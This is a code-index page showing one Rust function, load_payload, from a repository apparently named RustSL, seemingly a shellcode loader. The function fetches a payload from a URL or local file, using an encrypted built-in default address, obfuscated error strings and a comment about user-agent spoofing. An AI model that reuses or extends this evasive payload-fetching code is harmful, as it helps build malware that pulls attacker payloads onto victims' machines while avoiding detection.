MCPcopy Create free account
hub / github.com/echQoQ/RustSL / load_payload

Function load_payload

src/load_payload/cmdline.rs:5–31  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

3use crate::utils::simple_decrypt;
4
5pub fn load_payload() -> Result<Vec<u8>, Box<dyn std::error::Error>> {
6 let args: Vec<String> = env::args().collect();
7 let address = if args.len() < 2 || args[1].is_empty() {
8 // Decrypt the encrypted default address
9 simple_decrypt(env!("RSL_ENCRYPTED_DEFAULT_PAYLOAD_ADDRESS"))
10 } else {
11 args[1].clone()
12 };
13
14 if address.starts_with("http://") || address.starts_with("https://") {
15 // Remote loading with user-agent spoofing
16 let (status_code, body) = crate::utils::http_get(&address)?;
17
18 if status_code < 200 || status_code >= 300 {
19 return Err(format!("{} {}", obfstr!("Network error:"), status_code).into());
20 }
21 Ok(body)
22 } else {
23 // Local file loading with existence check
24 let path = std::path::Path::new(&address);
25 if !path.exists() {
26 return Err(format!("{} {}", obfstr!("Resource unavailable:"), path.display()).into());
27 }
28
29 Ok(std::fs::read(&address)?)
30 }
31}

Callers

nothing calls this directly

Calls 2

simple_decryptFunction · 0.85
http_getFunction · 0.85

Tested by

no test coverage detected